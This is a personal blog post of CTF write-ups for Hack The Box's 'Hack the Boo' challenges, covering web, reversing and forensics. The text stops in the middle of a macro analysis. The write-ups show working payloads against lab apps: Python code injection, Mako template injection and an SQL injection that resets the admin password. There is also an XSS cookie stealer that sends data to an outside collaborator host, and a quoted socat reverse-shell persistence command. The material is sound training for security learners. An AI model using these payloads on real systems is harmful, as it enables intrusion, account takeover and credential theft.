Hack The Box - Hack The Boo CTF Writeups

Mukarram Khalid • October 27, 2022

ctf htb

I participated in Hack the Box - Hack the Boo CTF and learned quite a few new tricks. So I have decided to do a writeup of the challenges.

I was not able to solve all the challenges during the event, so I downloaded the challenge files so that I can try them out later in my local environment. I'll keep updating this blog post if I solve more challenges.

Web - Evaluation Deck

A powerful demon has sent one of his ghost generals into our world to ruin the fun of Halloween. The ghost can only be defeated by luck. Are you lucky enough to draw the right cards to defeat him and save this Halloween?

We have the challenge files. We see that it's a Python application.

In main.py, we see that API routes will have the prefix /api.

image-20221023163215505

We see an API route in routes.py. There are only two routes. One route pretty much returns static page. The other /api/get_health looks interesting.

It's expecting a JSON body and the following 3 fields are required.

image-20221023163434628

If we spawn the docker container, we can see this API being called when a card is clicked.

image-20221023163738544

POST /api/get_health HTTP/1.1
Host: 142.93.35.129:31771
Content-Length: 59
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://142.93.35.129:31771
Referer: http://142.93.35.129:31771/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"current_health":"100","attack_power":"65","operator":"+"}
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.15
Date: Sun, 23 Oct 2022 08:37:03 GMT
Content-Type: application/json
Content-Length: 16
Connection: close

{"message":165}

The interesting part is this block of code.

image-20221023163859316

We see that all 3 input parameters are being passed to compile function to create a code object, which would then be passed to exec. So there's a possibility of code injection here. The input parameters current_health and attack_power are being casted to int so we can't inject code in there. However, there's no type casting on operator, which looks promising.

So the code which gets executed would look something the following for our input.

result = 100 + 65

Which returns 165. We have the possibility to inject arbitrary code in place of + operator. Let's give it a try.

The following payload returns response in 2 seconds.

{
    "current_health": "100",
    "attack_power": "65",
    "operator": "+__import__('time').sleep(2)+"
}

Which means it works.

image-20221023164745219

However, in order to get a valid response back, we need to do something about the leading 100 because that would force us to only return an integer response, unless we can bypass that somehow. What if we use the multiply operator *. Any string output would get multiplied by 100. We can live with that as long as we get the valid output right? We can also replace the first 100 with 1 to make it simpler. Here's what it would look like.

{
    "current_health": "100",
    "attack_power": "65",
    "operator": " * 'A' ;"
}

image-20221023165033154

Now let's read the flag.

{
    "current_health": "1",
    "attack_power": "65",
    "operator": "* open('/flag.txt', 'r').read() ;"
}

And we get the flag.

image-20221023165516045

HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}

Web - Spookifier

There's a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?

We have the source code of another application built using Python Flask.

From the routes.py file, there's only one route i.e. /.

image-20221023222057956

It accepts an input parameter text and calls the spookify function. The spookify function is in util.py.

So the application takes the text GET parameter and creates a few spooky fonts variations of it. This is what it looks like.

image-20221023222751046

The fourth entry in the list is the input returned as it is.

In util.py, we know that our input is eventually passed through the format and render methods.

image-20221023223011555

The Template().render() method is part of mako package, which can lead to server-side template injection vulnerability.

Looking at this list, we can try the known SSTI payloads for mako.

http://161.35.36.157:31007/?text=${7*7}

image-20221023230027633

Let's try to read the flag file.

http://161.35.36.157:31007/?text=${open('/flag.txt').read()}

image-20221023230331565

HTB{t3mpl4t3_1nj3ct10n_1s_$p00ky!!}

Web - Horror Feeds

An unknown entity has taken over every screen worldwide and is broadcasting this haunted feed that introduces paranormal activity to random internet-accessible CCTV devices. Could you take down this streaming service?

We have the source code of a Python application.

In the entrypoint.sh file, we see that the application creates a MySQL/MariaDB database and populates the following data.

image-20221025012150748

It hardcodes the admin user password hash but I'm sure we won't be able to crack it. The challenge is not going to be that easy.

Let's dive into the source code.

In routes.py file, we see that when a user is authenticated, the application renders dashboard.html template and passes the flag to the template.

image-20221025012441508

However, the flag gets printed on the dashboard only when the authenticated user is admin, as shown in the following screenshot.

image-20221025012640943

So now, we need to authenticate as admin. I have checked the authentication logic and it seems to be fine. We also have a user registration feature. May be we can trick the application to register another admin user?

Let's take a look at the code.

So the /register route calls the register function from database.py.

image-20221025012954931

In the register function, we see that there's an SQL injection on line 37 in INSERT SQL query.

image-20221025013111580

Well, this SQL injection is not going to support stacked queries so we cannot do UPDATE query to update the password of the existing admin user. We can only modify the current INSERT statement. Maybe we can insert another user with username admin? Would that be helpful? Let's take a look.

But wait, that won't work either because the username column has the UNIQUE constraint set. This can be verified in entrypoint.sh.

image-20221025013454946

The UNIQUE constraint on a MySQL column means that two rows cannot have the same value for this column. MySQL throws an exception in that case. We can give this a try. Let's spawn the target instance and view the application in the browser.

image-20221025013911651

The is what the register API request looks like.

POST /api/register HTTP/1.1
Host: 178.62.79.95:31900
Content-Length: 221
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://178.62.79.95:31900
Referer: http://178.62.79.95:31900/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"username":"test","password":"test"}

If we try to create a user with username admin, we get the following error.

image-20221025014139272

However, note that this is not the exception by MySQL I was referring to earlier. This error is returned because of the lines 32, 33 in the register function.

image-20221025014305233

Before the INSERT query, the application checks if the username already exists in the users table using a SELECT query. This SELECT query is not vulnerable to SQL injection. We can bypass this check by not creating the user this way. We can instead exploit the SQL injection to create another user with username admin. It would at least bypass this check.

Let's give it a try. I'll create a bcrypt hash of a known string because that's what we need to store in the database in the password column. So 2a$12$BYaLnacnDpAyrW6GqZBva.R/6190ux28gyIvFzV3Cqy5TR9cBiPaq is the bcrypt hash of makman. I'll use this as a password.

Here's the payload.

POST /api/register HTTP/1.1
Host: 206.189.117.93:32296
Content-Length: 105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://206.189.117.93:32296
Referer: http://206.189.117.93:32296/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
    "username": "admin\", '2a$12$BYaLnacnDpAyrW6GqZBva.R/6190ux28gyIvFzV3Cqy5TR9cBiPaq')#",
    "password": "test"
}

Now, we get the MySQL exception because of the UNIQUE constraint.

image-20221025015456534

But this reminds me of another neat trick that we can use here.

In MySQL/MariaDB, we can perform the INSERT query in a way that if there's already a duplicate UNIQUE column, we can perform an UPDATE query on the already existing row which has the duplicate value, and it doesn't even require the stacked queries. It would require the use of ON DUPLICATE KEY UPDATE clause. This is what it looks like.

INSERT INTO users (username, password) VALUES ('admin', 'password-hash') ON DUPLICATE KEY UPDATE username='admin',password='some-known-password-hash';

Here's what the payload looks like in this case.

POST /api/register HTTP/1.1
Host: 206.189.117.93:32296
Content-Length: 105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://206.189.117.93:32296
Referer: http://206.189.117.93:32296/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
    "username": "admin\", '2a$12$BYaLnacnDpAyrW6GqZBva.R/6190ux28gyIvFzV3Cqy5TR9cBiPaq') ON DUPLICATE KEY UPDATE username='admin',password='$2a$12$BYaLnacnDpAyrW6GqZBva.R/6190ux28gyIvFzV3Cqy5TR9cBiPaq'#",
    "password": "test"
}

Seems like it worked.

image-20221025022648606

Let's login with username admin and password makman.

We have the flag.

image-20221025022734532

HTB{N3ST3D_QU3R1E5_AR3_5CARY!!!}

Web - Juggling Facts

An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?

We have the source code of a PHP application. The challenge name suggests that this would be a type juggling vulnerability.

In the file entrypoint.sh on line # 100, we see that the flag is stored in the database table facts.

INSERT INTO facts(fact, fact_type) VALUES
...
...
...
(
    'HTB{f4k3_fl4g_f0r_t3st1ng}',
    'secrets'
);

And it's stored as fact_type of secrets.

In file index.php, we see an API route to getfacts which points to getfacts method in IndexController.

image-20221025224014285

If we visit the web application, this is what it looks like.

image-20221025224137948

And it issues the following HTTP request.

POST /api/getfacts HTTP/1.1
Host: 167.71.137.174:30671
Content-Length: 17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://167.71.137.174:30671
Referer: http://167.71.137.174:30671/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"type":"spooky"}

Which returns all the facts having fact_type of spooky. So ideally, we should be able to change this request and specify type secrets to get the flag, unless the application doesn't let us. Let's take a look at the getfacts method in IndexController.

image-20221025224640501

There are quite a few checks here which would prevent us to enter type secrets.

First, the type JSON key cannot be empty. Second, If we're specifying the type secrets, the request has to be issued from the localhost 127.0.0.1. And this is a strict comparison with ===.

So one thing is for sure, that to bypass these two checks, we cannot send an empty type or a type with a value of secrets.

Let's see what happens if we do not send the type of secrets. In that case, the code lands on a switch case block. Which looks interesting. Because in PHP, switch case performs a loose comparison as mentioned in the PHP docs. Which makes it vulnerable to type juggling attacks.

So the comparison would look like:

$jsondata['type'] == 'secrets'

Now, we cannot supply a type secrets as input because of the above if condition with localhost restriction. However, we can supply a value which is not secrets but still passes this loose comparison.

To figure out what input value we should use, let's take a look at the PHP type comparison documentation.

It says true compared with any string (php in this example) should always return true.

image-20221025225531644

So what if we supply a type with a Boolean value of true. This is what our payload would look like.

POST /api/getfacts HTTP/1.1
Host: 167.71.137.174:30671
Content-Length: 13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://167.71.137.174:30671
Referer: http://167.71.137.174:30671/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"type":true}

It works and we get our flag.

image-20221025225813628

HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}

Web - Cursed Secret Party

You've just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone?

We have the source code of an application built with Express.js.

In routes/index.js, we see that there are two routes /api/submit and /admin.

image-20221027180655324

And this is what the web application looks like.

image-20221027044347046

We can submit the details on the web page and it issues the following HTTP request.

POST /api/submit HTTP/1.1
Host: 167.71.138.188:32102
Content-Length: 190
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://167.71.138.188:32102
Referer: http://167.71.138.188:32102/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
    "halloween_name": "test",
    "email": "[email protected]",
    "costume_type": "monster",
    "trick_or_treat": "tricks"
}

Once the request is submitted, we get the following message.

Your request will be reviewed by our team!

So it seems like, there's a bot running in the background which would visit the /admin route and view our submitted data. The /admin endpoint pulls all the submitted requests from the database and then renders them in the admin.html template.

image-20221027181102999

However, in admin.html, we see a problem.

image-20221027181335372

When it outputs the halloween_name input parameter, it marks it as safe. Which means that it would not escape it to prevent Cross-Site scripting attacks.

So, now we have a stored Cross-Site scripting vulnerability, and a bot would view it with the permissions of an admin user. Let's see what this bot is and how it works.

image-20221027181631919

We see that the bot authenticates as an administrator by setting an admin JWT token in the cookie. And the payload of this JWT token has the flag. Then it visits the endpoint /admin to view all the submitted requests and then it deletes them all by visiting the /admin/delete_all endpoint.

All we need to do is steal the cookies of the bot user by exploiting the stored Cross-Site scripting vulnerability to get the flag. This is fairly easy. Or is it?

There's one catch. The application sets a strict Content-Security-Policy header. We can see this in index.js.

image-20221027182129762

This can be very troublesome. Any browser visiting this web application would look at the script-src directive of the CSP header and decide which JavaScript is safe to load and which is not. For example, any inline injected JavaScript code would not get executed because there's no inline parameter in the script-src directive. It won't load any JavaScript hosted on the attacker's domain either.

The only allowed parameters in the script-src directive are self and https://cdn.jsdelivr.net. The self parameter means that the JavaScript files hosted under the same domain as of the application are safe to load. The https://cdn.jsdelivr.net parameter means that any JavaScript files hosted on https://cdn.jsdelivr.net are also safe to load. Have you spotted the vulnerability in the CSP yet? :wink:

The problem with this policy is that literally anyone can host JavaScript files on https://cdn.jsdelivr.net. To host your JavaScript files on https://cdn.jsdelivr.net, simply create a public GitHub repository and host your JavaScript files in there. Then you can format the https://cdn.jsdelivr.net in a way that it would dynamically pull the JavaScript file from your GitHub repository. The format of the https://cdn.jsdelivr.net should be as follows:

https://cdn.jsdelivr.net/gh/<github_username>/<repository_name>/<file_name>.js

In my case, I created a public GitHub repository and hosted a file evil.js in there. So for me, this is what the URL looks like:

https://cdn.jsdelivr.net/gh/mukarramkhalid/evil-jsdelivr/evil.js

You can even minify it.

https://cdn.jsdelivr.net/gh/mukarramkhalid/evil-jsdelivr/evil.min.js

This evil.js gets the cookies and submits them to my Burp Collaborator using an ajax call.

var xhttp = new XMLHttpRequest();
xhttp.open('GET', 'http://y436lpjr4zkl6577bxbgoxfal1rtfi.oastify.com/?' + document.cookie, true);
xhttp.send();

Ok let's submit the /api/submit HTTP request with the following payload.

POST /api/submit HTTP/1.1
Host: 167.71.138.188:32102
Content-Length: 190
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://167.71.138.188:32102
Referer: http://167.71.138.188:32102/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
    "halloween_name": "<script src=\"https://cdn.jsdelivr.net/gh/mukarramkhalid/evil-jsdelivr/evil.min.js\"></script>",
    "email": "[email protected]",
    "costume_type": "monster",
    "trick_or_treat": "tricks"
}

And as soon as we submit, we receive a hit on our Burp Collaborator with the cookie.

image-20221027183828261

Let's decode the payload of this cookie.

We have the flag.

image-20221027183901623

HTB{cdn_c4n_byp4ss_c5p!!}

Reversing - Cult Meeting

After months of research, you're ready to attempt to infiltrate the meeting of a shadowy cult. Unfortunately, it looks like they've changed their password!

We have a 64-bit non-stripped ELF binary.

$ file meeting
meeting: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=72d8b06e4ca750d5c24395d3349c3121b9b95283, for GNU/Linux 3.2.0, not stripped

Let's open it in IDA.

Looks simple enough.

image-20221023173756725

If we supply the correct password i.e. sup3r_s3cr3t_p455w0rd_f0r_u!, the application would drop us to a system shell. Let's give it a try.

image-20221023173854754

And we have the flag.

HTB{1nf1ltr4t1ng_4_cul7_0f_str1ng5}

Reversing - EncodedPayload

Buried in your basement you've discovered an ancient tome. The pages are full of what look like warnings, but luckily you can't read the language! What will happen if you invoke the ancient spells here?

We have a 32-bit ELF binary.

$ file encodedpayload 
encodedpayload: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header

If we execute the binary, nothing really happens. Let's do a quick strace on it to trace system calls invoked by this binary.

strace ./encodedpayload

We see that it tries to invoke a write syscall but fails for some reason. But we don't care because we can see the arguments of the syscall and what it's trying to write.

image-20221025203040527

That is our flag.

HTB{PLz_strace_M333}

Reversing - Ghost Wrangler

Who you gonna call?

We have an ELF binary.

$ file ghost   
ghost: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=810d0f9271ec04d80a2eee6ff2afd9367da3c3dd, for GNU/Linux 3.2.0, not stripped

Let's open it in IDA.

In the main function, a function gets the flag and stores in the flag variable.

image-20221025023208178

But in the printf statement, it replaces the flag with a bunch of underscores before printing. Let's verify by running the binary.

image-20221025023307053

We can debug the binary using gdb and add a break point on printf statement, which should show the flag on the stack. Let's give it a try.

gdb-gef ghost

Let's run the binary.

gef➤  r
Starting program: /home/kali/Desktop/temp/ghost 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
|                                       _| I've managed to trap the flag ghost in this box, but it's turned invisible!
Can you figure out how to reveal them?
[Inferior 1 (process 256856) exited normally]
gef➤ 

Now, let's analyze.

gef➤  disassemble main
Dump of assembler code for function main:
   0x00005555555551c2 <+0>:     push   rbp
   0x00005555555551c3 <+1>:     mov    rbp,rsp
   0x00005555555551c6 <+4>:     sub    rsp,0x10
   0x00005555555551ca <+8>:     mov    eax,0x0
   0x00005555555551cf <+13>:    call   0x555555555155 <get_flag>
   0x00005555555551d4 <+18>:    mov    QWORD PTR [rbp-0x8],rax
   0x00005555555551d8 <+22>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00005555555551dc <+26>:    mov    ecx,0x5f
   0x00005555555551e1 <+31>:    mov    edx,0x28
   0x00005555555551e6 <+36>:    mov    rsi,rax
   0x00005555555551e9 <+39>:    lea    rdi,[rip+0xe58]        # 0x555555556048
   0x00005555555551f0 <+46>:    mov    eax,0x0
   0x00005555555551f5 <+51>:    call   0x555555555030 <printf@plt>
   0x00005555555551fa <+56>:    mov    eax,0x0
   0x00005555555551ff <+61>:    leave  
   0x0000555555555200 <+62>:    ret    
End of assembler dump.
gef➤

So we need to set a breakpoint for the printf call i.e. 0x00005555555551f5 <+51>: call 0x555555555030 <printf@plt>.

gef➤  break *0x00005555555551f5

Let's run with r.

As soon as the breakpoint hits, we have our flag on the stack.

image-20221025024436000

HTB{h4unt3d_by_th3_gh0st5_0f_ctf5_p45t!}

Reversing - Ouija

You've made contact with a spirit from beyond the grave! Unfortunately, they speak in an ancient tongue of flags, so you can't understand a word. You've enlisted a medium who can translate it, but they like to take their time...

We have a 64-bit dynamically linked ELF binary.

$ file ouija
ouija: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2cace162c306a34dcfc4837d648d047e2ea339fe, for GNU/Linux 3.2.0, not stripped

Let's run it and see what happens.

It returns Retrieving Key and then just keeps loading.

image-20221026133718043

Let's open it in IDA or Ghidra.

In the main function, we see that it has the flag but it's in some sort of unknown encoded format.

image-20221026133947240

After that, it runs a series of complex transformations on each and every character of the flag and prints the actual flag character by character. So, technically speaking, we should be able to get the flag if we just let the binary run.

However, the problem is that it may run for a long time because it uses sleep functions about 20 times with different intervals. Not just that, sometimes these sleep calls are within for loop statements. So running this binary may take a few days to actually print the flag.

We need to figure out a way to bypass these sleep calls.

There are several ways to solve this problem. Let's go through them one by one.

Patching the binary with Ghidra

The easiest way is to open the binary in Ghidra and patch all the sleep calls. We can simply replace the interval argument to sleep from say 10 seconds to 0 second.

For example, the following sleep call sleeps for 0xa i.e. 10 seconds.

image-20221026134604587

We can replace that 0xa with 0x0 to make it sleep for zero seconds.

To do this, right click on the instruction and click Patch Instruction.

image-20221026134741031

Then replace 0xa with 0x0 and press enter.

image-20221026134810321

You can see that now the sleep call has been changed to sleep for zero seconds.

image-20221026134851990

We need to do this for all 20 sleep calls. Which is a little hectic but still doable. Once it's done, we can export the patched binary by clicking on File and Export Program. We need to select the output format as ELF. Save it and execute the new patched binary.

Now it outputs the flag fairly quickly with a lot of other junk.

image-20221026135147334

But we can easily search/replace the output to get the final flag. I used the search pattern \S{2}.* and replaced with blank to remove all the junk. And then removed all the new lines and spaces with \s*\n*.

HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}

We can also patch the printf statements by replacing them with nops 0x90 to get rid of the undesired junk.

LD_PRELOAD Trick

The binary patching method is a little hectic. Another cool way is to override the glibc's sleep function with a custom one, using the LD_PRELOAD environment variable. However, the following points should be kept in mind.

So let's give it a try. I'll be overriding sleep and all other variants of it.

Create a file nosleep.c with the following code.

/* nosleep.c */
#include <time.h>
#include <unistd.h>

unsigned int sleep(unsigned int seconds)
{
    return 0;
}
int usleep(useconds_t usec)
{
    return 0;
}
int nanosleep(const struct timespec *req, struct timespec *rem)
{
    return 0;
}

Then compile with:

gcc -o libnosleep.so -shared nosleep.c -fpic

Then, we run the binary.

LD_PRELOAD=./libnosleep.so ouija

And it would print everything without any delay.

I got the idea from this article.

Patching binary with pwntools

We can actually patch binaries with pwntools and it's fairly easy.

We can overwrite the assembly instruction that is at the beginning of the sleep function with a ret. This way, if the program enters sleep function, it'll just return right away. Here's how to do it.

#!/usr/bin/python

from pwn import *

elf = ELF('./ouija')

# Nullify the sleep function
elf.asm(elf.symbols.sleep, 'ret')

# Save the patched binary
elf.save('./ouija.patched')

This script creates a patched binary ouija.patched.

We can execute the binary and see that it prints everything right away without sleeping.

A quick note, when I was testing out this method, I kept getting the following error in pwntools.

warning: /tmp/pwn-asm-p7k1g6i0/step3 has a LOAD segment with RWX permissions

There's a pull request open to fix this issue but it hasn't been merged yet. Once I made the changes mentioned in the PR, I was able to make it work.

ROT13 Caesar Cipher

This is something I totally missed. Someone mentioned after the event that the flag decoding logic is basically a simple ROT13 (Caesar Cipher) with an amount of 8, which makes this challenge a lot easier.

image-20221028022130488

Reversing - Secured Transfer

Ghosts have been sending messages to each other through the aether, but we can't understand a word of it! Can you understand their riddles?

We have a stripped 64-Bit ELF binary and a pcap file.

$ file securetransfer trace.pcap 
securetransfer: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0457997eda987eb100de85a2954fc8b8fc660a53, for GNU/Linux 3.2.0, stripped
trace.pcap:     pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)

Let's take a look at the pcap file first using WireShark.

The pcap file looks fairly small with only 8 packets.

image-20221027190734672

This seems like a raw TCP socket connection from host 10.13.32.2 to 10.13.32.3. The first 3 packets are just the handshake. The 4th packet is some sort of initialization command with a value of hex 2000000000000000. However, in the 5th packet, the first host is sending a data blob to the second host. This is the hex data blob.

5f558867993dccc99879f7ca39c5e406972f84a3a9dd5d48972421ff375cb18c

Then the 6th, 7th, and the 8th packets are just the acknowledgement.

That's pretty much it from the pcap file. We have a random data blob.

Let's look at the binary now using IDA. The binary is stripped so it may be a little hard to understand. However, we see the main function.

In the main function, we see that the application sends and receives files. It's kind of a secure file transfer.

image-20221027191308399

When it's sending the file, it calls the function sub_1835.

In sub_1835 function, we see that it calls another function sub_1529 just before writing the data to the socket stream.

image-20221027191513834

The function sub_1529 looks like a typical AES encryption logic.

image-20221027191702255

We have the key, initialization vector, and we know that it's 256-bit AES encryption in CBC mode.

So, if we think about it, the data blob we received from the pcap file is probably AES encrypted and we already have everything to decrypt it.

Let's give it a try with Cyber Chef.

We have the flag.

image-20221027191906650

HTB{vryS3CuR3_F1L3_TR4nsf3r}

Forensics - Wrong Spooky Season

"I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong." Now there is an internal breach in the Spooky Network and you need to find out what happened. Analyze the the network traffic and find how the scary ghosts got in and what they did.

We have a pcap file. Let's open it in WireShark.

We see that host 192.168.1.180 is interacting with a web application hosted on server 192.168.1.166.

We can see that the host is trying to get a reverse shell from the server using socat.

image-20221023174706559

If we follow the TCP stream on port 1337, we see the following communication.

id
uid=0(root) gid=0(root) groups=0(root)
groups
root
uname -r
5.18.0-kali7-amd64
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash
ls -lha 
total 20K
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 .
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 ..
-rwxrwx--- 1 root root 1.8K Oct  8 00:04 pom.xml
drwxr-xr-x 3 root root 4.0K Oct 10 17:27 src
drwxr-xr-x 1 root root 4.0K Oct 10 17:28 target

Attacker is trying to make his access persistent.

echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash

The following should be our flag.

echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev | base64 -d
HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}

Forensics - Trick or Breach

Our company has been working on a secret project for almost a year. None knows about the subject, although rumor is that it is about an old Halloween legend where an old witch in the woods invented a potion to bring pumpkins to life, but in a more up-to-date approach. Unfortunately, we learned that malicious actors accessed our network in a massive cyber attack. Our security team found that the hack had occurred when a group of children came into the office's security external room for trick or treat. One of the children was found to be a paid actor and managed to insert a USB into one of the security personnel's computers, which allowed the hackers to gain access to the company's systems. We only have a network capture during the time of the incident. Can you find out if they stole the secret project?

We have another pcap file. By looking at the pcap file in Wireshark, we see some kind of data exfiltration over DNS.

image-20221023233931276

The host makes a DNS query to the DNS server and the DNS server sends back a response.

We can easily get the exfiltrated data using tshark.

tshark -r capture.pcap -T fields -e dns.qry.name

This would select the dns.query.name fields.

image-20221023234622051

But it would return each data row twice i.e. one for the DNS request and second for the DBS response. Let's try to filter only for DNS requests sent by the source IP address 192.168.1.10.

tshark -r capture.pcap -T fields -e dns.qry.name -Y "ip.src == 192.168.1.10"

We get the data as follows.

504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com
0018000000786c2f64726177696e67732f64726177696e6731.pumpkincorp.com
2e786d6c9dd05d6ec2300c07f013ec0e55de695a181343145e.pumpkincorp.com
d04e300ee0256e1b918fca0ea3dc7ed14a36697b011e6dcb3f.pumpkincorp.com
f9efcd6e74b6f84462137c23eab212057a15b4f15d230eef6f.pumpkincorp.com
b395283882d76083c7465c90c56efbb41935adcfbca722ed7b.pumpkincorp.com
5ea7b2117d8cc35a4a563d3ae0320ce8d3b40de420a6923aa9.pumpkincorp.com
09ce497656ceabea45f240089a7bc4b89f26e2eac1039a03e3.pumpkincorp.com
f3fe4dd784b6350af7419d1cfa3821841662fa05f766e0aca9.pumpkincorp.com
07ae513d50fc01c67f82338a028736962ab8eb29d94842fd3c.pumpkincorp.com
0938fe1af5ddc852becad55fc8dd14c7011d4fc32cb9437ac8.pumpkincorp.com
87b1265ebe93654677ee81b768031d81cbc8b838f8e3ddb12a.pumpkincorp.com
c936b5282b6cb15edeadccb322b75f504b0708076269830501.pumpkincorp.com
000007030000504b0304140008080800a52c47550000000000.pumpkincorp.com
0000000000000018000000786c2f64726177696e67732f6472.pumpkincorp.com
...
...
...

Now we want to remove .pumpkincorp.com and join all the rows together. We can save the final string to data.hex as it seems to be hex blobs.

tshark -r capture.pcap -T fields -e dns.qry.name | cut -d '.' -f 1 | tr -d '\n' > data.hex

The first few bytes of this data show that this is basically a zip file. This can be confirmed by looking up the string 50 4B 03 04 on this webpage.

image-20221023235523356

Let's unhex it and save as zip file.

cat data.hex | xxd -r -p > test.zip

Once we open the zip archive, we realize it's basically an excel worksheet. Anyways, we see our flag in file sharedStrings.xml.

image-20221023233616370

HTB{M4g1c_c4nn0t_pr3v3nt_d4t4_br34ch}

Forensics - Halloween Invitation

An email notification pops up. It's from your theater group. Someone decided to throw a party. The invitation looks awesome, but there is something suspicious about this document. Maybe you should take a look before you rent your banana costume.

We have a docm file invitation.docm. Which is basically a word file with an embedded macro. This is one of the favorite ways of attackers to distribute malware.

The easiest way to get the macro VB code out of this file is by using oletools.

python olevba3.py invitation.docm > output.txt

In output.txt, we see that it was able to extract some VB code.

This is what is looks like.

-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub AutoOpen()
odhsjwpphlxnb
Call lmavedb
End Sub
